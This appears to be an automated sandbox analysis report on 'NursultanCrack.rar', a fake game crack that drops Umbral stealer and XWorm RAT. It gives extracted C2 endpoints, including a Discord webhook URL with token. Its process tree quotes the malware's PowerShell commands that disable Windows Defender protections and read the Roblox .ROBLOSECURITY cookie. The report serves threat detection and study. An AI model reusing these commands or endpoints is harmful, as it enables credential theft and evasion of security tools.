Analysis

  • max time kernel
    1566s
  • max time network
    1574s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    16-03-2024 19:10

General

  • Target

    NursultanCrack.rar

  • Size

    183KB

  • MD5

    d3ad8d4ecbadea0a2ba6a92e91ed2d2b

  • SHA1

    977368283f90605be222c310d6880fab8478ad7a

  • SHA256

    b9395c6223dd34cdd95dd5c298eb609a806b12f2f2bcf9b0932b47ab564ee591

  • SHA512

    1bd24793905cfd2bad5c2640e1b2f99bc4e7424cb7f6c17a42f69ec3bc04e1aed667d70d94ea4b1b616d3742023742dac60c3714f421402aeecba75ad09e3ba1

  • SSDEEP

    3072:ngYU/sh31YoZfxYguGUb+MTezWxURWy0i9WQcM2ojNZbO/9GM69LOAalm2tJM:gWzuvG++geKQWyZ9okLO/956djalvM

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1218605453374914620/OdDYjKWd2x_sgrT_0JmzryiFvoGTz03pvb7F84neOCAte6YtS3TcUiq7-D1K38B9s0T8

Extracted

Family

xworm

C2

18.ip.gl.ply.gg:54823

Attributes
  • Install_directory

    %Temp%

  • install_file

    svhost.exe

Signatures

  • Detect Umbral payload 4 IoCs
  • Detect Xworm Payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\NursultanCrack.rar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2056
    • C:\Program Files\7-Zip\7zFM.exe
      "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\NursultanCrack.rar"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2980
      • C:\Users\Admin\AppData\Local\Temp\7zO4AB1DD56\start.exe
        "C:\Users\Admin\AppData\Local\Temp\7zO4AB1DD56\start.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2868
        • C:\Users\Admin\AppData\Local\Temp\NursultanStart.exe
          "C:\Users\Admin\AppData\Local\Temp\NursultanStart.exe"
          4⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1112
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\NursultanStart.exe'
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:676
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1600
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2188
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1040
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" os get Caption
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1220
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" computersystem get totalphysicalmemory
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1084
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            5⤵
              PID:900
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:940
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic" path win32_VideoController get name
              5⤵
              • Detects videocard installed
              PID:3012
          • C:\Users\Admin\AppData\Local\Temp\start.exe
            "C:\Users\Admin\AppData\Local\Temp\start.exe"
            4⤵
            • Drops startup file
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2468
            • C:\Windows\system32\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp3478.tmp.bat""
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2436
              • C:\Windows\system32\timeout.exe
                timeout 3
                6⤵
                • Delays execution with timeout.exe
                PID:2464

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\7zO4AB1DD56\start.exe

      Filesize

      192KB

      MD5

      066f7f594bf6f254748bc19562dd1bc3

      SHA1

      313883f4a7fbfc3c60b153492aeefb927c5d5694

      SHA256

      9398c6385a5246fe4b86b0f247ddb8a93a9c326389dabef1b96bd65af09b360e

      SHA512

      04f0c82938dee7a790876ab39282c36eda0c6de11a337d93f728c07be6ff5997605c6a9bba886b94091c313795ee19bf96d65ca9ac1e1d62eeab7acd33b6afca

    • C:\Users\Admin\AppData\Local\Temp\start.exe

      Filesize

      63KB

      MD5

      a48eb52779ecedfcf1c709a232e655cf

      SHA1

      ebe1bf5f87ee23bf74ec52c5bcf134782821c46d

      SHA256

      fecf2e4db113236435acf34c716776d40a447254b344f59ed3c2f99e755b2708

      SHA512

      b37bfb9f7eb15063e452cc7ccf9ed2291f09b985fecba6f983b2cd69736b6fe6bd02074d99f838f8e2ce826b8ee9e810fc7f171e0ac486e4f7ff0f37903ab47c

    • C:\Users\Admin\AppData\Local\Temp\tmp3478.tmp.bat

      Filesize

      157B

      MD5

      82016685977f100bb0ee8d6d2da3ded2

      SHA1

      4c9143d353ced38f0abfbb2cc9c97a33880ae131

      SHA256

      be6106361a73c8cbb9b4f82bb2700099be899f9000eb774fd960be7f3073ea88

      SHA512

      3349587b5186108bd2ac03a3feb68d5c083b4c2df7ace62f031d419662f2e6c308ef18f534d27b8b1e9a1fd7b3d8cd113ffef2999c0264bf285ef6eed2b9e3a5

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      c6bbbab5b402dab5f2d68651fed75e9c

      SHA1

      201121d00ccc73eccd249ce13a6426bebef2ff38

      SHA256

      cc9080166f5626669084e7b0d3151e9263546503b197c8e4d05d9d84004489c8

      SHA512

      3dd87b28eb4b838638310f08d3f2f0f5307d2938f269b10ba1299a04b9279fd49294470e9d3d0c5558f63bd8036710ac2b419720f0d6bc3b46f73d13e3abd881

    • \Users\Admin\AppData\Local\Temp\NursultanStart.exe

      Filesize

      229KB

      MD5

      a635e377a579296af70e52f439465078

      SHA1

      68aff1bf9a48c1d8f326f9ee1d95a795c1b35c35

      SHA256

      11ca4440ffccc6e94fa1536d27eeafdceea8782202a56f3989b19f845d7864ac

      SHA512

      cef30f2e3385399c9659acb6938a68a46401b977cb84c1137cc18dd37009c61a91eeb473a65552bb5585af69ecfadd878db0a0f6bd24584153d9796a3e46db39

    • memory/676-66-0x0000000002A60000-0x0000000002AE0000-memory.dmp

      Filesize

      512KB

    • memory/676-63-0x000007FEEDD30000-0x000007FEEE6CD000-memory.dmp

      Filesize

      9.6MB

    • memory/676-68-0x000007FEEDD30000-0x000007FEEE6CD000-memory.dmp

      Filesize

      9.6MB

    • memory/676-60-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

      Filesize

      2.9MB

    • memory/676-61-0x0000000002A60000-0x0000000002AE0000-memory.dmp

      Filesize

      512KB

    • memory/676-59-0x000007FEEDD30000-0x000007FEEE6CD000-memory.dmp

      Filesize

      9.6MB

    • memory/676-62-0x0000000002630000-0x0000000002638000-memory.dmp

      Filesize

      32KB

    • memory/676-64-0x0000000002A60000-0x0000000002AE0000-memory.dmp

      Filesize

      512KB

    • memory/676-65-0x0000000002A60000-0x0000000002AE0000-memory.dmp

      Filesize

      512KB

    • memory/940-136-0x00000000029C0000-0x0000000002A40000-memory.dmp

      Filesize

      512KB

    • memory/940-137-0x00000000029C0000-0x0000000002A40000-memory.dmp

      Filesize

      512KB

    • memory/940-134-0x00000000029C0000-0x0000000002A40000-memory.dmp

      Filesize

      512KB

    • memory/940-135-0x000007FEEDD30000-0x000007FEEE6CD000-memory.dmp

      Filesize

      9.6MB

    • memory/940-138-0x000007FEEDD30000-0x000007FEEE6CD000-memory.dmp

      Filesize

      9.6MB

    • memory/940-133-0x000007FEEDD30000-0x000007FEEE6CD000-memory.dmp

      Filesize

      9.6MB

    • memory/1040-113-0x00000000025F0000-0x00000000025F8000-memory.dmp

      Filesize

      32KB

    • memory/1040-121-0x000007FEED390000-0x000007FEEDD2D000-memory.dmp

      Filesize

      9.6MB

    • memory/1040-120-0x0000000002250000-0x00000000022D0000-memory.dmp

      Filesize

      512KB

    • memory/1040-117-0x0000000002250000-0x00000000022D0000-memory.dmp

      Filesize

      512KB

    • memory/1040-116-0x0000000002250000-0x00000000022D0000-memory.dmp

      Filesize

      512KB

    • memory/1040-115-0x000007FEED390000-0x000007FEEDD2D000-memory.dmp

      Filesize

      9.6MB

    • memory/1040-114-0x0000000002250000-0x00000000022D0000-memory.dmp

      Filesize

      512KB

    • memory/1040-112-0x000007FEED390000-0x000007FEEDD2D000-memory.dmp

      Filesize

      9.6MB

    • memory/1040-111-0x000000001B360000-0x000000001B642000-memory.dmp

      Filesize

      2.9MB

    • memory/1112-54-0x0000000000A30000-0x0000000000AB0000-memory.dmp

      Filesize

      512KB

    • memory/1112-82-0x000007FEF5570000-0x000007FEF5F5C000-memory.dmp

      Filesize

      9.9MB

    • memory/1112-51-0x0000000001330000-0x0000000001370000-memory.dmp

      Filesize

      256KB

    • memory/1112-93-0x0000000000A30000-0x0000000000AB0000-memory.dmp

      Filesize

      512KB

    • memory/1112-142-0x000007FEF5570000-0x000007FEF5F5C000-memory.dmp

      Filesize

      9.9MB

    • memory/1112-52-0x000007FEF5570000-0x000007FEF5F5C000-memory.dmp

      Filesize

      9.9MB

    • memory/1600-75-0x0000000002410000-0x0000000002418000-memory.dmp

      Filesize

      32KB

    • memory/1600-84-0x00000000029A0000-0x0000000002A20000-memory.dmp

      Filesize

      512KB

    • memory/1600-78-0x000007FEED390000-0x000007FEEDD2D000-memory.dmp

      Filesize

      9.6MB

    • memory/1600-76-0x000007FEED390000-0x000007FEEDD2D000-memory.dmp

      Filesize

      9.6MB

    • memory/1600-83-0x00000000029A0000-0x0000000002A20000-memory.dmp

      Filesize

      512KB

    • memory/1600-85-0x000007FEED390000-0x000007FEEDD2D000-memory.dmp

      Filesize

      9.6MB

    • memory/1600-77-0x00000000029A0000-0x0000000002A20000-memory.dmp

      Filesize

      512KB

    • memory/1600-74-0x000000001B330000-0x000000001B612000-memory.dmp

      Filesize

      2.9MB

    • memory/1600-80-0x00000000029A0000-0x0000000002A20000-memory.dmp

      Filesize

      512KB

    • memory/1600-79-0x00000000029A0000-0x0000000002A20000-memory.dmp

      Filesize

      512KB

    • memory/2188-101-0x00000000025E0000-0x0000000002660000-memory.dmp

      Filesize

      512KB

    • memory/2188-105-0x000007FEEDD30000-0x000007FEEE6CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2188-104-0x00000000025E0000-0x0000000002660000-memory.dmp

      Filesize

      512KB

    • memory/2188-100-0x000007FEEDD30000-0x000007FEEE6CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2188-99-0x00000000025E0000-0x0000000002660000-memory.dmp

      Filesize

      512KB

    • memory/2188-98-0x000007FEEDD30000-0x000007FEEE6CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2188-92-0x000000001B430000-0x000000001B712000-memory.dmp

      Filesize

      2.9MB

    • memory/2468-118-0x000000001AEF0000-0x000000001AF70000-memory.dmp

      Filesize

      512KB

    • memory/2468-81-0x000007FEF5570000-0x000007FEF5F5C000-memory.dmp

      Filesize

      9.9MB

    • memory/2468-67-0x000000001AEF0000-0x000000001AF70000-memory.dmp

      Filesize

      512KB

    • memory/2468-53-0x000007FEF5570000-0x000007FEF5F5C000-memory.dmp

      Filesize

      9.9MB

    • memory/2468-50-0x0000000000380000-0x0000000000396000-memory.dmp

      Filesize

      88KB

    • memory/2468-156-0x000007FEF5570000-0x000007FEF5F5C000-memory.dmp

      Filesize

      9.9MB